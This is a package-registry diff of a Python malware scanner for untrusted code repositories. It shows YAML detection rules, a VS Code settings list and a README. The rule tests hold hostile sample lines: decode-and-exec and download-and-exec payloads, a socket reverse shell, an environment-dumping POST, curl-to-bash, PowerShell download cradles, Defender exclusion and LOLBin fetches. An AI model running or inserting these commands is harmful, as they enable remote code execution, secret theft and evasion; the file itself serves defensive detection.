devguard-scanner 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- devguard/__init__.py +5 -0
- devguard/ai/__init__.py +0 -0
- devguard/ai/investigator.py +380 -0
- devguard/ai/prompts.py +113 -0
- devguard/ai/providers/__init__.py +0 -0
- devguard/ai/providers/anthropic.py +163 -0
- devguard/ai/providers/openai_compat.py +157 -0
- devguard/ai/registry.py +160 -0
- devguard/ai/run.py +119 -0
- devguard/ai/sdk.py +102 -0
- devguard/ai/testing.py +126 -0
- devguard/ai/tools.py +389 -0
- devguard/analyzers/__init__.py +0 -0
- devguard/analyzers/base.py +135 -0
- devguard/analyzers/carriers.py +345 -0
- devguard/analyzers/command.py +343 -0
- devguard/analyzers/content.py +240 -0
- devguard/analyzers/filesystem.py +142 -0
- devguard/analyzers/hidden.py +273 -0
- devguard/analyzers/imports.py +102 -0
- devguard/analyzers/jsonc.py +221 -0
- devguard/analyzers/surfaces/__init__.py +0 -0
- devguard/analyzers/surfaces/ai_assistants.py +318 -0
- devguard/analyzers/surfaces/autoload.py +142 -0
- devguard/analyzers/surfaces/common.py +242 -0
- devguard/analyzers/surfaces/deps.py +159 -0
- devguard/analyzers/surfaces/devcontainer.py +195 -0
- devguard/analyzers/surfaces/env.py +53 -0
- devguard/analyzers/surfaces/git.py +236 -0
- devguard/analyzers/surfaces/npm.py +304 -0
- devguard/analyzers/surfaces/python_pkg.py +138 -0
- devguard/analyzers/surfaces/vscode.py +515 -0
- devguard/cli.py +302 -0
- devguard/core/__init__.py +0 -0
- devguard/core/config.py +147 -0
- devguard/core/filetype.py +313 -0
- devguard/core/models.py +195 -0
- devguard/core/redact.py +72 -0
- devguard/core/safefs.py +280 -0
- devguard/core/scoring.py +60 -0
- devguard/core/service.py +211 -0
- devguard/correlate/__init__.py +0 -0
- devguard/correlate/chains.py +160 -0
- devguard/mcp/__init__.py +0 -0
- devguard/mcp/server.py +442 -0
- devguard/report/__init__.py +0 -0
- devguard/report/escape.py +31 -0
- devguard/report/markdown.py +242 -0
- devguard/report/sarif.py +96 -0
- devguard/report/terminal.py +47 -0
- devguard/report/writer.py +52 -0
- devguard/rules/__init__.py +0 -0
- devguard/rules/catalog.py +96 -0
- devguard/rules/content/ai_instructions.yaml +111 -0
- devguard/rules/content/cross_language.yaml +228 -0
- devguard/rules/content/docs.yaml +63 -0
- devguard/rules/content/javascript.yaml +171 -0
- devguard/rules/content/obfuscation.yaml +138 -0
- devguard/rules/content/python.yaml +144 -0
- devguard/rules/content/shell.yaml +109 -0
- devguard/rules/content/windows.yaml +95 -0
- devguard/rules/data/vscode_settings.yaml +81 -0
- devguard_scanner-0.1.0.dist-info/METADATA +84 -0
- devguard_scanner-0.1.0.dist-info/RECORD +67 -0
- devguard_scanner-0.1.0.dist-info/WHEEL +4 -0
- devguard_scanner-0.1.0.dist-info/entry_points.txt +7 -0
- devguard_scanner-0.1.0.dist-info/licenses/LICENSE +201 -0
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
pack: python
|
|
2
|
+
rules:
|
|
3
|
+
- id: DG-PY-EXEC-DECODED-001
|
|
4
|
+
title: Decoded or decompressed data executed
|
|
5
|
+
threat: [TC-07.2, TC-08.5, TC-08.6]
|
|
6
|
+
languages: [python]
|
|
7
|
+
severity: critical
|
|
8
|
+
confidence: high
|
|
9
|
+
within: lines:3
|
|
10
|
+
match:
|
|
11
|
+
all:
|
|
12
|
+
- regex: '\b(b64decode|b32decode|a85decode|decodebytes|zlib\.decompress|lzma\.decompress|bz2\.decompress|marshal\.loads|codecs\.decode|bytes\.fromhex|unhexlify)\s*\(|__import__\(\s*[''"](base64|zlib|marshal|codecs)[''"]\s*\)'
|
|
13
|
+
- regex: '\b(exec|eval)\s*\(|\bcompile\s*\([^)\n]*[''"]exec[''"]'
|
|
14
|
+
explanation: >
|
|
15
|
+
Encoded or compressed data is decoded and executed. Layered exec(zlib/base64/marshal) is
|
|
16
|
+
the standard wrapper for malicious Python payloads.
|
|
17
|
+
benign_context: Very rare in legitimate code outside of packers and self-extracting installers.
|
|
18
|
+
tests:
|
|
19
|
+
positive:
|
|
20
|
+
- |
|
|
21
|
+
exec(base64.b64decode("cHJpbnQoMSk="))
|
|
22
|
+
- |
|
|
23
|
+
import zlib,base64
|
|
24
|
+
code = zlib.decompress(base64.b64decode(blob))
|
|
25
|
+
exec(code)
|
|
26
|
+
negative:
|
|
27
|
+
- |
|
|
28
|
+
data = base64.b64decode(payload)
|
|
29
|
+
print(len(data))
|
|
30
|
+
|
|
31
|
+
- id: DG-PY-DOWNLOAD-EXEC-001
|
|
32
|
+
title: Remote content fetched and executed
|
|
33
|
+
threat: [TC-07.1, TC-07.2]
|
|
34
|
+
languages: [python]
|
|
35
|
+
severity: critical
|
|
36
|
+
confidence: medium
|
|
37
|
+
within: lines:6
|
|
38
|
+
match:
|
|
39
|
+
all:
|
|
40
|
+
- regex: '\b(urlopen|urlretrieve|requests\.(get|post)|httpx\.(get|post)|urllib\.request\.\w+|http\.client\.\w+)\s*\('
|
|
41
|
+
- regex: '\b(exec|eval)\s*\('
|
|
42
|
+
explanation: Code downloaded from the network is executed directly.
|
|
43
|
+
tests:
|
|
44
|
+
positive:
|
|
45
|
+
- |
|
|
46
|
+
src = urllib.request.urlopen("https://example.invalid/x").read()
|
|
47
|
+
exec(src)
|
|
48
|
+
- |
|
|
49
|
+
exec(requests.get(u).text)
|
|
50
|
+
negative:
|
|
51
|
+
- |
|
|
52
|
+
r = requests.get(u)
|
|
53
|
+
data = r.json()
|
|
54
|
+
|
|
55
|
+
- id: DG-PY-DOWNLOAD-RUN-001
|
|
56
|
+
title: File downloaded and run as a process
|
|
57
|
+
threat: [TC-07.1, TC-07.3]
|
|
58
|
+
languages: [python]
|
|
59
|
+
severity: high
|
|
60
|
+
confidence: medium
|
|
61
|
+
within: lines:15
|
|
62
|
+
match:
|
|
63
|
+
all:
|
|
64
|
+
- regex: '\b(urlopen|urlretrieve|requests\.get|httpx\.get)\s*\('
|
|
65
|
+
- regex: '\b(subprocess\.(run|Popen|call|check_call|check_output)|os\.(system|popen|startfile|exec\w+))\s*\('
|
|
66
|
+
- regex: '\bos\.chmod\s*\(|\.write\s*\(|urlretrieve'
|
|
67
|
+
explanation: The script downloads a file and starts a process shortly after, the typical second-stage dropper pattern.
|
|
68
|
+
benign_context: Bootstrap scripts that download a pinned tool from an official release URL.
|
|
69
|
+
tests:
|
|
70
|
+
positive:
|
|
71
|
+
- |
|
|
72
|
+
urllib.request.urlretrieve(u, p)
|
|
73
|
+
os.chmod(p, 0o755)
|
|
74
|
+
subprocess.Popen([p])
|
|
75
|
+
negative:
|
|
76
|
+
- |
|
|
77
|
+
r = requests.get(u)
|
|
78
|
+
print(r.status_code)
|
|
79
|
+
|
|
80
|
+
- id: DG-PY-ENV-HARVEST-001
|
|
81
|
+
title: Whole environment serialized and sent over the network
|
|
82
|
+
threat: [TC-07.4, TC-07.5]
|
|
83
|
+
languages: [python]
|
|
84
|
+
severity: high
|
|
85
|
+
confidence: medium
|
|
86
|
+
match:
|
|
87
|
+
all:
|
|
88
|
+
- regex: '\bdict\(\s*os\.environ\s*\)|json\.dumps\(\s*(dict\()?\s*os\.environ|\bos\.environ\.copy\(\)|\{\*\*os\.environ'
|
|
89
|
+
- regex: '\b(requests\.(post|put)|httpx\.(post|put)|urlopen|socket\.\w+|smtplib)\b'
|
|
90
|
+
explanation: The script collects all environment variables and transmits data over the network.
|
|
91
|
+
benign_context: Copying os.environ to pass to subprocess is common; check what is actually sent.
|
|
92
|
+
tests:
|
|
93
|
+
positive:
|
|
94
|
+
- |
|
|
95
|
+
requests.post(u, json=dict(os.environ))
|
|
96
|
+
negative:
|
|
97
|
+
- |
|
|
98
|
+
env = os.environ.copy(); env["X"] = "1"; subprocess.run(cmd, env=env)
|
|
99
|
+
|
|
100
|
+
- id: DG-PY-SETUP-CMDCLASS-001
|
|
101
|
+
title: setup.py overrides install commands
|
|
102
|
+
threat: [TC-04.3]
|
|
103
|
+
languages: [python]
|
|
104
|
+
paths: [setup.py]
|
|
105
|
+
severity: medium
|
|
106
|
+
confidence: medium
|
|
107
|
+
category: lifecycle
|
|
108
|
+
match:
|
|
109
|
+
all:
|
|
110
|
+
- regex: '\bcmdclass\s*='
|
|
111
|
+
- regex: 'class\s+\w+\s*\(\s*(install|develop|egg_info|build_py|sdist|bdist_egg)\b'
|
|
112
|
+
explanation: >
|
|
113
|
+
setup.py replaces a standard install command with custom code, which runs automatically
|
|
114
|
+
when the package is installed from source.
|
|
115
|
+
benign_context: Packages that compile extensions or generate files sometimes customize build commands.
|
|
116
|
+
tests:
|
|
117
|
+
path: setup.py
|
|
118
|
+
positive:
|
|
119
|
+
- |
|
|
120
|
+
class PostInstall(install):
|
|
121
|
+
def run(self): install.run(self); os.system("x")
|
|
122
|
+
setup(cmdclass={"install": PostInstall})
|
|
123
|
+
negative:
|
|
124
|
+
- |
|
|
125
|
+
setup(name="x", packages=["x"])
|
|
126
|
+
|
|
127
|
+
- id: DG-PY-PTY-SHELL-001
|
|
128
|
+
title: Socket connected to an interactive shell
|
|
129
|
+
threat: [TC-07.7]
|
|
130
|
+
languages: [python]
|
|
131
|
+
severity: critical
|
|
132
|
+
confidence: high
|
|
133
|
+
match:
|
|
134
|
+
all:
|
|
135
|
+
- regex: '\bsocket\.socket\s*\('
|
|
136
|
+
- regex: '\bos\.dup2\s*\(|\bpty\.spawn\s*\('
|
|
137
|
+
explanation: A socket is wired to the process's standard streams or a PTY, which is a reverse shell.
|
|
138
|
+
tests:
|
|
139
|
+
positive:
|
|
140
|
+
- |
|
|
141
|
+
s=socket.socket();s.connect((h,4444));os.dup2(s.fileno(),0);pty.spawn("/bin/sh")
|
|
142
|
+
negative:
|
|
143
|
+
- |
|
|
144
|
+
s = socket.socket(); s.connect((h, 80)); s.send(b"GET /")
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
pack: shell
|
|
2
|
+
rules:
|
|
3
|
+
- id: DG-SH-PIPE-SHELL-001
|
|
4
|
+
title: Download piped directly into an interpreter
|
|
5
|
+
threat: [TC-07.1]
|
|
6
|
+
languages: [shell, make]
|
|
7
|
+
severity: high
|
|
8
|
+
confidence: high
|
|
9
|
+
match:
|
|
10
|
+
any:
|
|
11
|
+
- regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da|k)?sh\b'
|
|
12
|
+
- regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(python3?|node|perl|ruby|php)\b'
|
|
13
|
+
- regex: '\b(ba|z)?sh\s+(-c\s+)?["'']?\$\(\s*(curl|wget)\b'
|
|
14
|
+
- regex: '\b(ba|z)?sh\s+<\(\s*(curl|wget)\b'
|
|
15
|
+
explanation: Remote content is executed without being saved or reviewed first.
|
|
16
|
+
benign_context: Well-known installers (rustup, nvm, Homebrew) are distributed this way from official domains.
|
|
17
|
+
next_step: Check the URL's domain. Never run it from an untrusted repository.
|
|
18
|
+
tests:
|
|
19
|
+
positive:
|
|
20
|
+
- |
|
|
21
|
+
curl -fsSL https://example.invalid/i.sh | bash
|
|
22
|
+
- |
|
|
23
|
+
bash -c "$(wget -qO- https://example.invalid/x)"
|
|
24
|
+
negative:
|
|
25
|
+
- |
|
|
26
|
+
curl -fsSL -o install.sh https://example.invalid/i.sh
|
|
27
|
+
|
|
28
|
+
- id: DG-SH-PIPE-SHELL-002
|
|
29
|
+
title: Container or CI build pipes a download into a shell
|
|
30
|
+
threat: [TC-04.11, TC-06.7]
|
|
31
|
+
languages: [dockerfile, yaml]
|
|
32
|
+
severity: low
|
|
33
|
+
confidence: medium
|
|
34
|
+
category: build-config
|
|
35
|
+
match:
|
|
36
|
+
regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da)?sh\b'
|
|
37
|
+
explanation: >
|
|
38
|
+
A Dockerfile or CI configuration executes a downloaded script. It runs inside the container or CI runner,
|
|
39
|
+
not on your machine, but still trusts whatever the URL serves at build time.
|
|
40
|
+
benign_context: Common for official vendor setup scripts (e.g. NodeSource, rustup).
|
|
41
|
+
tests:
|
|
42
|
+
positive:
|
|
43
|
+
- |
|
|
44
|
+
RUN curl -fsSL https://example.invalid/setup.sh | bash -
|
|
45
|
+
negative:
|
|
46
|
+
- |
|
|
47
|
+
RUN apt-get update && apt-get install -y curl
|
|
48
|
+
|
|
49
|
+
- id: DG-SH-BASE64-EXEC-001
|
|
50
|
+
title: Base64 payload decoded and executed by a shell
|
|
51
|
+
threat: [TC-07.2, TC-08.5]
|
|
52
|
+
languages: [shell, dockerfile, make, yaml]
|
|
53
|
+
severity: high
|
|
54
|
+
confidence: high
|
|
55
|
+
match:
|
|
56
|
+
any:
|
|
57
|
+
- regex: 'base64\s+(-d|--decode|-D)\b[^|\n]*\|\s*(sudo\s+)?(ba|z)?sh\b'
|
|
58
|
+
- regex: '\becho\s+["'']?[A-Za-z0-9+/=]{40,}["'']?\s*\|\s*base64\s+(-d|--decode|-D)'
|
|
59
|
+
- regex: '\beval\s+"?\$\(\s*(echo|printf)[^)]*\|\s*base64\s+(-d|--decode)'
|
|
60
|
+
explanation: A hidden command is stored base64-encoded and executed, which hides its intent from reviewers.
|
|
61
|
+
tests:
|
|
62
|
+
positive:
|
|
63
|
+
- |
|
|
64
|
+
echo ZWNobyBoZWxsbyB3b3JsZCAmJiBpZCAmJiB3aG9hbWkgJiYgdW5hbWUgLWE= | base64 -d | sh
|
|
65
|
+
negative:
|
|
66
|
+
- |
|
|
67
|
+
base64 -d cert.b64 > cert.pem
|
|
68
|
+
|
|
69
|
+
- id: DG-SH-DOWNLOAD-CHMOD-RUN-001
|
|
70
|
+
title: Binary downloaded, made executable, and run
|
|
71
|
+
threat: [TC-07.1, TC-07.3]
|
|
72
|
+
languages: [shell, dockerfile, make]
|
|
73
|
+
severity: medium
|
|
74
|
+
confidence: medium
|
|
75
|
+
within: lines:6
|
|
76
|
+
match:
|
|
77
|
+
all:
|
|
78
|
+
- regex: '\b(curl|wget)\b[^\n]*(-o|-O|--output)\s*\S+'
|
|
79
|
+
- regex: '\bchmod\s+(\+x|[0-7]?7[0-7][0-7])\s'
|
|
80
|
+
- regex: '(^|[;&|\s])(\./|/tmp/|\$HOME/|~/)[\w./-]+'
|
|
81
|
+
explanation: A file is downloaded, marked executable, and started, the shape of a dropper.
|
|
82
|
+
benign_context: CI and install scripts fetch pinned tool releases this way.
|
|
83
|
+
tests:
|
|
84
|
+
positive:
|
|
85
|
+
- |
|
|
86
|
+
curl -sL https://example.invalid/a -o /tmp/a
|
|
87
|
+
chmod +x /tmp/a
|
|
88
|
+
/tmp/a &
|
|
89
|
+
negative:
|
|
90
|
+
- |
|
|
91
|
+
curl -sL https://example.invalid/a.tar.gz -o a.tgz
|
|
92
|
+
tar xzf a.tgz
|
|
93
|
+
|
|
94
|
+
- id: DG-SH-HISTORY-EVASION-001
|
|
95
|
+
title: Shell history tampering
|
|
96
|
+
threat: [TC-07.9]
|
|
97
|
+
languages: [shell]
|
|
98
|
+
severity: medium
|
|
99
|
+
confidence: medium
|
|
100
|
+
match:
|
|
101
|
+
regex: '\bunset\s+HISTFILE\b|\bhistory\s+-c\b|\bHISTSIZE=0\b|\bHISTFILE=/dev/null\b'
|
|
102
|
+
explanation: The script hides its activity by disabling or clearing shell history.
|
|
103
|
+
tests:
|
|
104
|
+
positive:
|
|
105
|
+
- |
|
|
106
|
+
unset HISTFILE; history -c
|
|
107
|
+
negative:
|
|
108
|
+
- |
|
|
109
|
+
echo "$HISTFILE"
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
pack: windows
|
|
2
|
+
rules:
|
|
3
|
+
- id: DG-PS-DOWNLOAD-EXEC-001
|
|
4
|
+
title: PowerShell download cradle
|
|
5
|
+
threat: [TC-07.1, TC-07.2]
|
|
6
|
+
languages: &code [javascript, python, shell, powershell, batch, vbscript, json, yaml, toml, ini, xml, dockerfile, make, ruby, php, go, perl, groovy, kotlin, java, csharp, lua, rust, dotenv]
|
|
7
|
+
severity: critical
|
|
8
|
+
confidence: high
|
|
9
|
+
match:
|
|
10
|
+
any:
|
|
11
|
+
- regex: '(?i)\b(iex|Invoke-Expression)\b[^\n]{0,200}\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadData|Net\.WebClient)\b'
|
|
12
|
+
- regex: '(?i)\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString)\b[^\n|]{0,200}\|\s*(iex|Invoke-Expression)\b'
|
|
13
|
+
explanation: Remote PowerShell content is downloaded and executed in memory.
|
|
14
|
+
benign_context: Some official installers (e.g. Chocolatey, Scoop) document this pattern.
|
|
15
|
+
tests:
|
|
16
|
+
positive:
|
|
17
|
+
- |
|
|
18
|
+
iex (New-Object Net.WebClient).DownloadString('https://example.invalid/a.ps1')
|
|
19
|
+
- |
|
|
20
|
+
irm https://example.invalid/x | iex
|
|
21
|
+
negative:
|
|
22
|
+
- |
|
|
23
|
+
Invoke-WebRequest -Uri $u -OutFile out.zip
|
|
24
|
+
|
|
25
|
+
- id: DG-PS-ENCODED-001
|
|
26
|
+
title: PowerShell encoded command
|
|
27
|
+
threat: [TC-07.2, TC-08.5]
|
|
28
|
+
languages: *code
|
|
29
|
+
severity: high
|
|
30
|
+
confidence: high
|
|
31
|
+
match:
|
|
32
|
+
regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(e|ec|en|enc|enco|encodedcommand)\s+[A-Za-z0-9+/=]{20,}'
|
|
33
|
+
explanation: The command line hides a PowerShell script as base64 (-EncodedCommand), a common obfuscation step.
|
|
34
|
+
tests:
|
|
35
|
+
positive:
|
|
36
|
+
- |
|
|
37
|
+
powershell.exe -NoP -W Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
|
|
38
|
+
negative:
|
|
39
|
+
- |
|
|
40
|
+
powershell -File build.ps1 -Environment prod
|
|
41
|
+
|
|
42
|
+
- id: DG-PS-HIDDEN-WINDOW-001
|
|
43
|
+
title: Hidden PowerShell window
|
|
44
|
+
threat: [TC-07.3, TC-07.9]
|
|
45
|
+
languages: *code
|
|
46
|
+
severity: medium
|
|
47
|
+
confidence: medium
|
|
48
|
+
match:
|
|
49
|
+
regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(w|wi|win|window|windowstyle)\s+h(idden)?\b'
|
|
50
|
+
explanation: PowerShell is started with a hidden window so the user does not see it run.
|
|
51
|
+
tests:
|
|
52
|
+
positive:
|
|
53
|
+
- |
|
|
54
|
+
start powershell -WindowStyle Hidden -File x.ps1
|
|
55
|
+
negative:
|
|
56
|
+
- |
|
|
57
|
+
powershell -NoProfile -File x.ps1
|
|
58
|
+
|
|
59
|
+
- id: DG-PS-AV-TAMPER-001
|
|
60
|
+
title: Antivirus / AMSI tampering
|
|
61
|
+
threat: [TC-07.9]
|
|
62
|
+
languages: *code
|
|
63
|
+
severity: critical
|
|
64
|
+
confidence: high
|
|
65
|
+
match:
|
|
66
|
+
regex: '(?i)\bAmsiUtils\b|\bamsiInitFailed\b|\bSet-MpPreference\b[^\n]*-Disable\w*|\bAdd-MpPreference\b[^\n]*-Exclusion\w*'
|
|
67
|
+
explanation: The code disables or bypasses Windows Defender / AMSI, which legitimate project code has no reason to do.
|
|
68
|
+
tests:
|
|
69
|
+
positive:
|
|
70
|
+
- |
|
|
71
|
+
Add-MpPreference -ExclusionPath $env:TEMP
|
|
72
|
+
negative:
|
|
73
|
+
- |
|
|
74
|
+
Get-MpComputerStatus
|
|
75
|
+
|
|
76
|
+
- id: DG-WIN-LOLBIN-001
|
|
77
|
+
title: Windows living-off-the-land binary used to fetch or run code
|
|
78
|
+
threat: [TC-07.1]
|
|
79
|
+
languages: *code
|
|
80
|
+
severity: high
|
|
81
|
+
confidence: high
|
|
82
|
+
match:
|
|
83
|
+
regex: '(?i)\b(mshta|rundll32|regsvr32|certutil|bitsadmin|wmic)(\.exe)?\b[^\n]*(https?:|-urlcache|/i:|javascript:|-decode\b|/transfer\b|process\s+call\s+create)'
|
|
84
|
+
explanation: >
|
|
85
|
+
A built-in Windows binary is abused to download or execute code (mshta, certutil -urlcache,
|
|
86
|
+
regsvr32 /i:http, bitsadmin /transfer, ...).
|
|
87
|
+
tests:
|
|
88
|
+
positive:
|
|
89
|
+
- |
|
|
90
|
+
certutil -urlcache -split -f https://example.invalid/a.exe a.exe
|
|
91
|
+
- |
|
|
92
|
+
regsvr32 /s /n /u /i:https://example.invalid/a.sct scrobj.dll
|
|
93
|
+
negative:
|
|
94
|
+
- |
|
|
95
|
+
certutil -hashfile file.zip SHA256
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
# VS Code settings whose value makes an extension run a program (TC-01.3).
|
|
2
|
+
# Data file: extend without code changes. Keys are matched exactly; suffixes match the end of a key.
|
|
3
|
+
executable_keys:
|
|
4
|
+
- python.defaultInterpreterPath
|
|
5
|
+
- python.pythonPath
|
|
6
|
+
- python.condaPath
|
|
7
|
+
- python.poetryPath
|
|
8
|
+
- python.pipenvPath
|
|
9
|
+
- typescript.tsdk
|
|
10
|
+
- js/ts.tsdk.path
|
|
11
|
+
- eslint.nodePath
|
|
12
|
+
- eslint.runtime
|
|
13
|
+
- prettier.prettierPath
|
|
14
|
+
- go.alternateTools
|
|
15
|
+
- go.toolsGopath
|
|
16
|
+
- rust-analyzer.server.path
|
|
17
|
+
- java.jdt.ls.java.home
|
|
18
|
+
- java.home
|
|
19
|
+
- git.path
|
|
20
|
+
- php.validate.executablePath
|
|
21
|
+
- php.executablePath
|
|
22
|
+
- clangd.path
|
|
23
|
+
- C_Cpp.clang_format_path
|
|
24
|
+
- cmake.cmakePath
|
|
25
|
+
- deno.path
|
|
26
|
+
- rubyLsp.rubyExecutablePath
|
|
27
|
+
- ruby.interpreter.commandPath
|
|
28
|
+
- omnisharp.path
|
|
29
|
+
- dotnet.dotnetPath
|
|
30
|
+
- julia.executablePath
|
|
31
|
+
- dart.sdkPath
|
|
32
|
+
- dart.flutterSdkPath
|
|
33
|
+
- ruff.path
|
|
34
|
+
- ruff.interpreter
|
|
35
|
+
- pylint.path
|
|
36
|
+
- pylint.interpreter
|
|
37
|
+
- flake8.path
|
|
38
|
+
- black-formatter.path
|
|
39
|
+
- isort.path
|
|
40
|
+
- mypy-type-checker.path
|
|
41
|
+
- terminal.external.linuxExec
|
|
42
|
+
- terminal.external.osxExec
|
|
43
|
+
- terminal.external.windowsExec
|
|
44
|
+
executable_suffixes:
|
|
45
|
+
- .executablePath
|
|
46
|
+
- .serverPath
|
|
47
|
+
- .commandPath
|
|
48
|
+
- .interpreterPath
|
|
49
|
+
- .binaryPath
|
|
50
|
+
- .exePath
|
|
51
|
+
- .nodePath
|
|
52
|
+
command_keys:
|
|
53
|
+
- rust-analyzer.cargo.buildScripts.overrideCommand
|
|
54
|
+
- rust-analyzer.check.overrideCommand
|
|
55
|
+
- rust-analyzer.procMacro.server
|
|
56
|
+
- jest.jestCommandLine
|
|
57
|
+
- jest.shell
|
|
58
|
+
- npm.scriptRunner
|
|
59
|
+
command_suffixes:
|
|
60
|
+
- .overrideCommand
|
|
61
|
+
- .commandLine
|
|
62
|
+
- CommandLine
|
|
63
|
+
# files.exclude / search.exclude patterns that are normal and never reported
|
|
64
|
+
benign_exclude_patterns:
|
|
65
|
+
- "**/.git"
|
|
66
|
+
- "**/.svn"
|
|
67
|
+
- "**/.hg"
|
|
68
|
+
- "**/CVS"
|
|
69
|
+
- "**/.DS_Store"
|
|
70
|
+
- "**/Thumbs.db"
|
|
71
|
+
- "**/node_modules"
|
|
72
|
+
- "**/__pycache__"
|
|
73
|
+
- "**/*.pyc"
|
|
74
|
+
- "**/.pytest_cache"
|
|
75
|
+
- "**/.mypy_cache"
|
|
76
|
+
- "**/dist"
|
|
77
|
+
- "**/out"
|
|
78
|
+
- "**/build"
|
|
79
|
+
- "**/coverage"
|
|
80
|
+
- "**/bower_components"
|
|
81
|
+
- "**/*.code-search"
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: devguard-scanner
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Scan untrusted code repositories for malware before you open, install, or run them. Files are analyzed as data and never executed.
|
|
5
|
+
Project-URL: Homepage, https://github.com/yilmazhasan/dev-guard
|
|
6
|
+
Project-URL: Documentation, https://github.com/yilmazhasan/dev-guard/tree/main/docs
|
|
7
|
+
Project-URL: Issues, https://github.com/yilmazhasan/dev-guard/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/yilmazhasan/dev-guard/blob/main/CHANGELOG.md
|
|
9
|
+
Author: yilmazhasan
|
|
10
|
+
License-Expression: Apache-2.0
|
|
11
|
+
License-File: LICENSE
|
|
12
|
+
Keywords: devsecops,malware,mcp,scanner,security,supply-chain,vscode
|
|
13
|
+
Classifier: Development Status :: 3 - Alpha
|
|
14
|
+
Classifier: Environment :: Console
|
|
15
|
+
Classifier: Intended Audience :: Developers
|
|
16
|
+
Classifier: Operating System :: OS Independent
|
|
17
|
+
Classifier: Programming Language :: Python :: 3
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
21
|
+
Classifier: Topic :: Security
|
|
22
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
23
|
+
Requires-Python: >=3.12
|
|
24
|
+
Requires-Dist: pydantic<3,>=2.7
|
|
25
|
+
Requires-Dist: pyyaml<7,>=6.0.1
|
|
26
|
+
Provides-Extra: anthropic
|
|
27
|
+
Requires-Dist: anthropic<2,>=1.0; extra == 'anthropic'
|
|
28
|
+
Provides-Extra: mcp
|
|
29
|
+
Requires-Dist: mcp<3,>=2.3; extra == 'mcp'
|
|
30
|
+
Provides-Extra: openai
|
|
31
|
+
Requires-Dist: openai<4,>=1.50; extra == 'openai'
|
|
32
|
+
Description-Content-Type: text/markdown
|
|
33
|
+
|
|
34
|
+
# DevGuard
|
|
35
|
+
|
|
36
|
+
Scan a repository for malware **before** you open it in your IDE, install its dependencies, or run it.
|
|
37
|
+
|
|
38
|
+
Malicious repositories (fake job-interview tasks, poisoned forks, hijacked packages) rarely wait for you to run
|
|
39
|
+
`main.py`. They run automatically: a VS Code task on folder open, an npm `postinstall` script, a git hook, an AI
|
|
40
|
+
assistant hook, a loader hidden in `tailwind.config.js`. DevGuard finds those triggers, follows them to the code
|
|
41
|
+
they run, and tells you whether it is safe to proceed. It reads files as data and **never executes anything**.
|
|
42
|
+
|
|
43
|
+
## Install
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
pipx install devguard-scanner # or: uv tool install devguard-scanner
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
## Use
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
devguard scan path/to/repo
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
```text
|
|
56
|
+
DevGuard scan complete
|
|
57
|
+
Target: interview-task
|
|
58
|
+
Verdict: BLOCK | Do not open, install, or run this project. Strong indicators of malicious behavior were found.
|
|
59
|
+
Findings: 5 (1 critical, 2 high, 1 medium, 1 low)
|
|
60
|
+
- [critical] Automatic trigger reaches dangerous code (package.json:5)
|
|
61
|
+
- [high] Browser profile data targeted (lib/collect.js:7)
|
|
62
|
+
- [high] Cryptocurrency wallet data targeted (lib/collect.js:10)
|
|
63
|
+
Report (md): ~/.local/share/devguard/reports/interview-task-1a2b3c4d/latest/report.md
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
| Verdict | Meaning |
|
|
67
|
+
|---|---|
|
|
68
|
+
| `block` | Do not open, install, or run it. |
|
|
69
|
+
| `review` | Read the report first. |
|
|
70
|
+
| `indicators` | Weak signals only, often benign. |
|
|
71
|
+
| `no-indicators` | Nothing found by the enabled checks (not a guarantee). |
|
|
72
|
+
|
|
73
|
+
Exit code `1` means findings at or above `--fail-on` (default `high`), so it works as a CI gate.
|
|
74
|
+
|
|
75
|
+
## More
|
|
76
|
+
|
|
77
|
+
- [Getting started](docs/getting-started.md): options, reports, exit codes
|
|
78
|
+
- [AI investigation](docs/ai.md): optional explanations from Claude, OpenAI, Gemini, or a local model
|
|
79
|
+
- [Provider plugins](docs/plugins.md): connect any LLM with a small Python file
|
|
80
|
+
- [MCP server](docs/mcp.md): let Claude Code, Cursor, or Copilot check a repo before acting on it
|
|
81
|
+
- [CI and pre-commit](docs/ci.md) · [Configuration](docs/configuration.md) · [How it works](docs/how-it-works.md)
|
|
82
|
+
- [Contributing](CONTRIBUTING.md) · [Security policy](SECURITY.md)
|
|
83
|
+
|
|
84
|
+
Licensed under [Apache-2.0](LICENSE).
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
devguard/__init__.py,sha256=NkueeYLERgJ3rqqdUo-QMYc2AxEYTNaQE4vRqI4qoh4,147
|
|
2
|
+
devguard/cli.py,sha256=LibIluIzqL8VJEg7G-ZhBGTsffkX0YTvxP_v8bXssR8,12828
|
|
3
|
+
devguard/ai/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
4
|
+
devguard/ai/investigator.py,sha256=wucE0DvYW58C_UIOYtY3ZEhix6Sr96MGSZ9drKnF8t8,15651
|
|
5
|
+
